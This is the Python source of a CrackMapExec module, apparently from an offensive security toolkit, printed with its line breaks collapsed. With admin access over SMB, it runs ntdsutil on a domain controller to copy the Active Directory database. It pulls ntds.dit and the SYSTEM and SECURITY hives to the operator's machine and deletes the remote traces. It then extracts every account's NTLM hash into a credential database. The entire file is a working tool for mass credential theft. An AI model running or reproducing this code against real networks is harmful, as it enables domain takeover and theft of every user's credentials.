import os import shutil import tempfile import time from impacket.examples.secretsdump import LocalOperations, NTDSHashes from cme.helpers.logger import highlight from cme.helpers.misc import validate_ntlm class CMEModule: ''' Dump NTDS with ntdsutil Module by @zblurx ''' name = 'ntdsutil' description = 'Dump NTDS with ntdsutil' supported_protocols = ['smb'] opsec_safe= True multiple_hosts = False def options(self, context, module_options): ''' Dump NTDS with ntdsutil Module by @zblurx DIR_RESULT Local dir to write ntds dump. If specified, the local dump will not be deleted after parsing ''' self.share = "ADMIN$" self.tmp_dir = "C:\\Windows\\Temp\\" self.tmp_share = self.tmp_dir.split("C:\\Windows\\")[1] self.dump_location = str(time.time())[:9] self.dir_result = self.dir_result = tempfile.mkdtemp() self.no_delete = False if 'DIR_RESULT' in module_options: self.dir_result = os.path.abspath(module_options['DIR_RESULT']) self.no_delete = True def on_admin_login(self, context, connection): command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location) context.log.info('Dumping ntds with ntdsutil.exe to %s%s' % (self.tmp_dir,self.dump_location)) context.log.highlight('Dumping the NTDS, this could take a while so go grab a redbull...') context.log.debug('Executing command {}'.format(command)) p = connection.execute(command, True) context.log.debug(p) if 'success' in p: context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location)) else: context.log.error("Error while dumping NTDS") return os.makedirs(self.dir_result, exist_ok=True) os.makedirs(os.path.join(self.dir_result, 'Active Directory'), exist_ok=True) os.makedirs(os.path.join(self.dir_result, 'registry'), exist_ok=True) context.log.info("Copying NTDS dump to %s" % self.dir_result) context.log.debug('Copy ntds.dit to host') with open(os.path.join(self.dir_result,'Active Directory','ntds.dit'), 'wb+') as dump_file: try: connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'Active Directory\\ntds.dit', dump_file.write) context.log.debug('Copied ntds.dit file') except Exception as e: context.log.error('Error while get ntds.dit file: {}'.format(e)) context.log.debug('Copy SYSTEM to host') with open(os.path.join(self.dir_result,'registry','SYSTEM'), 'wb+') as dump_file: try: connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'registry\\SYSTEM', dump_file.write) context.log.debug('Copied SYSTEM file') except Exception as e: context.log.error('Error while get SYSTEM file: {}'.format(e)) context.log.debug('Copy SECURITY to host') with open(os.path.join(self.dir_result,'registry','SECURITY'), 'wb+') as dump_file: try: connection.conn.getFile(self.share, self.tmp_share + self.dump_location + "\\" + 'registry\\SECURITY', dump_file.write) context.log.debug('Copied SECURITY file') except Exception as e: context.log.error('Error while get SECURITY file: {}'.format(e)) context.log.info("NTDS dump copied to %s" % self.dir_result) try: command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location) p = connection.execute(command, True) context.log.success('Deleted %s%s remote dump directory' % (self.tmp_dir, self.dump_location)) except Exception as e: context.log.error('Error deleting {} remote directory on share {}: {}'.format(self.dump_location, self.share, e)) localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result) bootKey = localOperations.getBootKey() noLMHash = localOperations.checkNoLMHashPolicy() host_id = context.db.get_hosts(filter_term=connection.host)[0][0] def add_ntds_hash(ntds_hash, host_id): add_ntds_hash.ntds_hashes += 1 if context.enabled: if "Enabled" in ntds_hash: ntds_hash = ntds_hash.split(" ")[0] context.log.highlight(ntds_hash) else: ntds_hash = ntds_hash.split(" ")[0] context.log.highlight(ntds_hash) if ntds_hash.find('$') == -1: if ntds_hash.find('\\') != -1: domain, hash = ntds_hash.split('\\') else: domain = connection.domain hash = ntds_hash try: username,_,lmhash,nthash,_,_,_ = hash.split(':') parsed_hash = ':'.join((lmhash, nthash)) if validate_ntlm(parsed_hash): context.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id) add_ntds_hash.added_to_db += 1 return raise except: context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: context.log.debug("Dumped hash is a computer account, not adding to db") add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 NTDS = NTDSHashes("%s/Active Directory/ntds.dit" % self.dir_result, bootKey, isRemote=False, history=False, noLMHash=noLMHash, remoteOps=None, useVSSMethod=True, justNTLM=True, pwdLastSet=False, resumeSession=None, outputFileName=connection.output_filename, justUser=None, printUserStatus=True, perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id)) try: context.log.success('Dumping the NTDS, this could take a while so go grab a redbull...') NTDS.dump() context.log.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), connection.output_filename + '.ntds', highlight(add_ntds_hash.added_to_db))) context.log.info("To extract only enabled accounts from the output file, run the following command: ") context.log.info("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + '.ntds')) except Exception as e: context.log.error(e) NTDS.finish() if self.no_delete: context.log.info('Raw NTDS dump copied to %s, parse it with:' % self.dir_result) context.log.info("secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds \"%s/Active Directory/ntds.dit\" LOCAL" % (self.dir_result, self.dir_result, self.dir_result)) else: shutil.rmtree(self.dir_result)